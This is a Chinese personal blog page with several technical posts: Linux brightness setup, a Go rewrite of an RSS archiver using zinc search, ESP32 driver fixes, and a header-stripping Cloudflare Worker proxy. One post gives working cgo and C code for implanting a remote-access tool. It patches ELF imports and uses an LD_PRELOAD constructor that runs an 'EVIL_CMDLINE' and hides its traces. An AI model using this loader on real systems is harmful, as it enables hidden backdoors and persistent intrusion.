Cond0r 发布的文章

yay -S light
sudo usermod -a -G video $USER
sudo gpasswd -a $USER video

i3 绑定

bindsym XF86MonBrightnessDown exec  light -U 10
bindsym XF86MonBrightnessUp exec  light -A 10

如果还是需要sudo则直接去改sudoers

sudo chmod u+w /etc/sudoers

sudo visudo # 保存时会做语法检查
# 写在最后一行
c ALL=NOPASSWD:/usr/bin/light

sudo chmod u-w /etc/sudoers
 
 xflux
 
 f.lux

# 限制屏幕亮度
sudo light -N 10
# 我是加在i3 config里面
exec light -N 10

设定自动关闭屏幕时间

# 主动关闭屏幕
sleep 1; xset dpms force off
# 单位是秒,自动关闭屏幕时间,这里也就是10分钟 没有动作就会自动关闭屏幕 这个也是系统默认值
# 我一般把这些设定都直接写到i3 config里面就不用每次执行了,
xset dpms 6000 6000 6000

参考资料

https://www.wangmaolin.net/books/linux/page/linuxsudo-X6W
https://unix.stackexchange.com/questions/539054/i3-screen-brightness-control-using-light

关于不安全

https://buaq.net https://f5.pm
不安全是一个我一直以来获取我感兴趣相关的rss阅读器,与公开的阅读器不同的是我会对文章正文和图片做永久的存储,很多时候看到的好的文章过一段时间可能站就关了,而且纯靠书签方式进行管理并不是特别的方便,所以诞生不安全。
这次重构主要是因为上一个版本是差不多我6年前用php写的,包括后端的爬虫,缓存等,写的时候没有考虑太多,加上中间硬塞了一个新功能导致代码面目全非,这次就用go进行重构,顺便也给文章正文用前段时间刚出的zinc做了索引服务,对用户来说最大的变化就是支持全文检索了。

支持功能

  • [x] 全文索引
  • [x] telegram机器人推送
  • [x] twitter推送
  • [x] 文章定时爬取
  • [x] 支持http/socks5代理
  • [x] 支持cloudflare woker代理
  • [x] 收藏功能
  • [x] api添加文章功能
  • [x] 更好的正文提取
  • [x] 图片自动上传到百度云对象存储
  • [ ] 工具分享
  • [ ] 文章每日排行榜(兼容微信公众号)

zinc全文索引

全文索引采用的zinc,其使用的bluge作为底层的索引引擎,再其基础上封装了bulk类似es的查询语法。

有几个坑,第一不支持调整size大小,默认是返回1000条

❯ grep -n -r 1000 *
auth/GetUsers.go:19:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
auth/AuthMiddleware.go:42:    searchRequest := bluge.NewTopNSearch(1000, termQuery)
startup/Loadconfig.go:19:            return 10000
startup/Loadconfig.go:25:    return 10000
uquery/AllDocuments.go:11:    searchRequest := bluge.NewTopNSearch(1000, query)
uquery/MatchAllQuery.go:21:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/MatchQuery.go:28:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/MultiPhraseQuery.go:21:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/DateRangeQuery.go:12:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/QueryStringQuery.go:23:    searchRequest := bluge.NewTopNSearch(1000, finalQuery).WithStandardAggregations()
uquery/MatchPhraseQuery.go:22:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/WildcardQuery.go:22:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/FuzzyQuery.go:21:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/TermQuery.go:21:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()
uquery/PrefixQuery.go:21:    searchRequest := bluge.NewTopNSearch(1000, query).WithStandardAggregations()

第二个坑,不支持offset进行调整查询位置,这俩个问题算一个问题,官方暂时也没有支持翻页的计划,这里自己做了一个改动
pkg/core/index.go

func (index *Index) Search(iQuery v1.ZincQuery) (v1.SearchResponse, error) {
    var Hits []v1.Hit

    var searchRequest bluge.SearchRequest

    var err error

    ....
    
    writer := index.Writer

    reader, err := writer.Reader()
    if err != nil {
        log.Print("error accessing reader: %v", err)
    }

    dmi, err := reader.Search(context.Background(), searchRequest)
    if err != nil {
        log.Print("error executing search: %v", err)
    }

    // highlighter := highlight.NewANSIHighlighter()
    var count = 0
    // iterationStartTime := time.Now()
    next, err := dmi.Next()
    for err == nil && next != nil {
        // 这边加一个offset
        count++
        // iQuery结构体我增加了一个Offset字段,可以从前台传过来,这样就可以使用{offset:10,size:10},实现limit 10,10的功能了
        if count < iQuery.Offset {
            // 他读数据是通过next进行读下一条,内核不了解没啥好办法,只能先通过这样的方式做offset了
            next, err = dmi.Next()
            continue
        }
        var result map[string]interface{}
        var id string
        var timestamp time.Time
        err = next.VisitStoredFields(func(field string, value []byte) bool {
            if field == "_source" {
                json.Unmarshal(value, &result)
                return true
            } else if field == "_id" {
                id = string(value)
                return true
            } else if field == "@timestamp" {
                timestamp, _ = bluge.DecodeDateTime(value)
                return true
            }
            return true
        })
        if err != nil {
            log.Print("error accessing stored fields: %v", err)
        }

        hit := v1.Hit{
            Index:     index.Name,
            Type:      index.Name,
            ID:        id,
            Score:     next.Score,
            Timestamp: timestamp,
            Source:    result,
        }

        next, err = dmi.Next()
        // results = append(results, result)

        Hits = append(Hits, hit)
        // 默认他iQuery结构提是存在size字段的,但是没有通过他进行调整大小,我们自己加一个判断,这里理论是来说使用len会影响性能
        if len(Hits) > iQuery.Size {
            break
        }
    }
    if err != nil {
        log.Print("error iterating results: %v", err)
    }

    ....
    reader.Close()

    return resp, nil
}

第三个坑是没有类似logstash那样可以直接导入数据到es的第三方工具,这里我直接给他加了个功能从mysql里面读数据进去

func ReadFromDB() {
    var notes []Notes
    // 从数据库里读取出所有的数据
    DB.Model(&Notes{}).Find(&notes)
    for _, note := range notes {
        log.Println("[*] Import ", note.Hash)
        // 从文件读取文章正文并提取纯文本部分的数据
        note.Content = GetNoteContent(note)
        if ret, err := json.Marshal(&note); err == nil {
            var doc map[string]interface{}
            // 最后把struct转换成map
            json.Unmarshal(ret, &doc)
            ImportData("buaqbatchImport", doc)
        }
    }

}
func ImportData(indexName string, doc map[string]interface{}) {
    if !core.IndexExists(indexName) {
        //这部分的代码基本是直接抄的他前台createDocument部分的代码
        newIndex, err := core.NewIndex(indexName)

        if err != nil {
            log.Print(err)
            return
        }
        core.ZINC_INDEX_LIST[indexName] = newIndex // Load the index in memory
    }
    index := core.ZINC_INDEX_LIST[indexName]
    docID := uuid.New().String()
    // 他创建document需要传一个uuid和一个map的结构体
    err := index.UpdateDocument(docID, &doc)
    log.Default().Println(err)

}

分词

说搜索就不得不说分词,一开始尝试了go版本的jieba分词
后来因为其还是用c然后用cgo进行调用,编译之后会依赖glibc,在某些机器上因为glibc版本过低不能运行,哪怕用xgo编译也不行,后来找到了sego整体用下来也还可以,sego是纯go开发的,不用担心glibc版本的问题。

Rss抓取

这里的rss爬取用的是gofeed,官方号称支持如下版本,暂时没有遇到坑

  • RSS 0.90
  • Netscape RSS 0.91
  • Userland RSS 0.91
  • RSS 0.92
  • RSS 0.93
  • RSS 0.94
  • RSS 1.0
  • RSS 2.0
  • Atom 0.3
  • Atom 1.0
  • JSON 1.0
  • JSON 1.1

正文提取

试了如下基本版本的正文提取

如果硬要说坑的话,可能就会有潜在的xss风险,他对正文提取似乎还是比较包容,没有删除太多的标签,这点后面有空优化一下。

其他

发现了一个老版本的问题,就是图片有时候没办法缓存,主要原因是 ip被目标网站ban掉了,这边直接通过cf的worker做proxy去抓取内容。
zinc这边对在建立索引的时候对cpu要求还是高,后期可以考虑加一台机器专门做搜索。

开发环境

开发环境没啥好说的,去官方下载安装arduino或者从源里面安装即可。
然后在arduion设置中添加开发板网址
https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
然后在去tools->board里面更新一下开发板,再安装一下esp32即可,开发的时候board选择 esp32 dev module就行了。

驱动安装

着重说一下驱动安装,因为这里面有个小坑,就是在linux下需要安装cp210x的串口驱动,但是官方的串口驱动对我目前的内核存在一处错误导致无法编译通过,需要手动修改一下
首先在这里下载驱动:https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
下载解压之后编辑cp210x.c文件,替换如下

static int cp210x_port_remove(struct usb_serial_port *);
// 改成
static void cp210x_port_remove(struct usb_serial_port *);

// 下面同样把int改成void即可
static int cp210x_port_remove(struct usb_serial_port *port)
{
    struct cp210x_port_private *port_priv;

    port_priv = usb_get_serial_port_data(port);
    kfree(port_priv);
    return 0;//删除这一行
    

}

安装

make 
cp cp210x.ko  /lib/modules/`uname -r`/kernel/drivers/usb/serial/
sudo usermod -a -G uucp $USER

# Ubuntu:
sudo insmod /lib/modules/`uname -r`/kernel/drivers/usb/serial/usbserial.ko
sudo insmod cp210x.ko
# arch
sudo modprobe usbserial
sudo modprobe cp210x

然后在插入esp32,通过ls /dev/tty*可以看到/dev/ttyUSB0这样的设备名称就表示安装成功了。
然后去要注销重新登录一次,arduino才能正确使用设备。

参考资料

https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers
https://docs.espressif.com/projects/esp-idf/en/latest/esp32/get-started/establish-serial-connection.html
https://ftdichip.com/drivers/vcp-drivers

一直想给gorat做一个优雅的自启方式,根据frida-gadget启发的一个思路,通过给elf添加so import,就可以实现无额外的进程启动gorat的client
直接使用cgo即可,然后可以配置patchelf进行捆绑

package main

/*
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

*/
import "C"
func main() {}

编译go build -buildmode=c-shared load.go

使用patchelf测试

cp /usr/bin/ls testls
patchelf --add-needed load.so testls
patchelf --add-rpath /home/c/my/code/golang/study/preload testls
EVIL_CMDLINE=pwd ./testls
EVIL_CMDLINE=pwd LD_PRELOAD=./load.so whoami


更进一步

这样我们可以使用cgo执行c代码,但是c怎么直接调用gorat的功能呢,很简单,写把gorat编译成so,在写一个c 调用这个so
稍微修改一下gorat,把启动函数换成非main,然后在export出来

再通过go build -buildmode=c-shared load.go 进行编译
再写一个c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "chihou.h"

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    ChiHou();
    // executive command
}

编译gcc -shared -static -fPIC lib.c -o lib.so ./chihou.so,再使用patchelf增加import

参考资料

http://wiki.f5.pm/doku.php?id=%E5%AE%89%E5%85%A8%E4%B9%8B%E8%B7%AF:%E5%B8%B8%E8%A7%81%E6%BC%8F%E6%B4%9E%E7%AF%87:web%E7%9B%B8%E5%85%B3:php:%E5%B8%B8%E7%94%A8%E7%BB%95%E8%BF%87_disable_function%E5%92%8Copen_basedir%E7%9A%84%E6%96%B9%E6%B3%95
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
https://tiancaiamao.gitbooks.io/go-internals/content/zh/09.4.html
https://colobu.com/2018/08/28/c-and-go-calling-interaction/

addEventListener("fetch", (event) => {
  event.respondWith(
    handleRequest(event.request).catch(
      (err) => new Response(err.stack, { status: 500 })
    )
  );
});

async function handleRequest(request) {
  const urlStr = request.url
  const urlObj = new URL(urlStr)
  const url = urlObj.href.substr(urlObj.origin.length+1).replace("http:/","http://").replace("https:/","https://")
  const headers = {}
  request.headers.forEach((value,index)=>{
    console.log(value,index)
    if(index.indexOf("ip")!=-1 || index.indexOf("cf")!=-1) return;
    headers[index]=value;
  })
   var selfreq=new Request(url, {
    body: request.body,
    headers: headers,
    method: request.method,
    redirect: request.redirect
  })
  return fetch(selfreq, { cf: { scrapeShield: false } })

}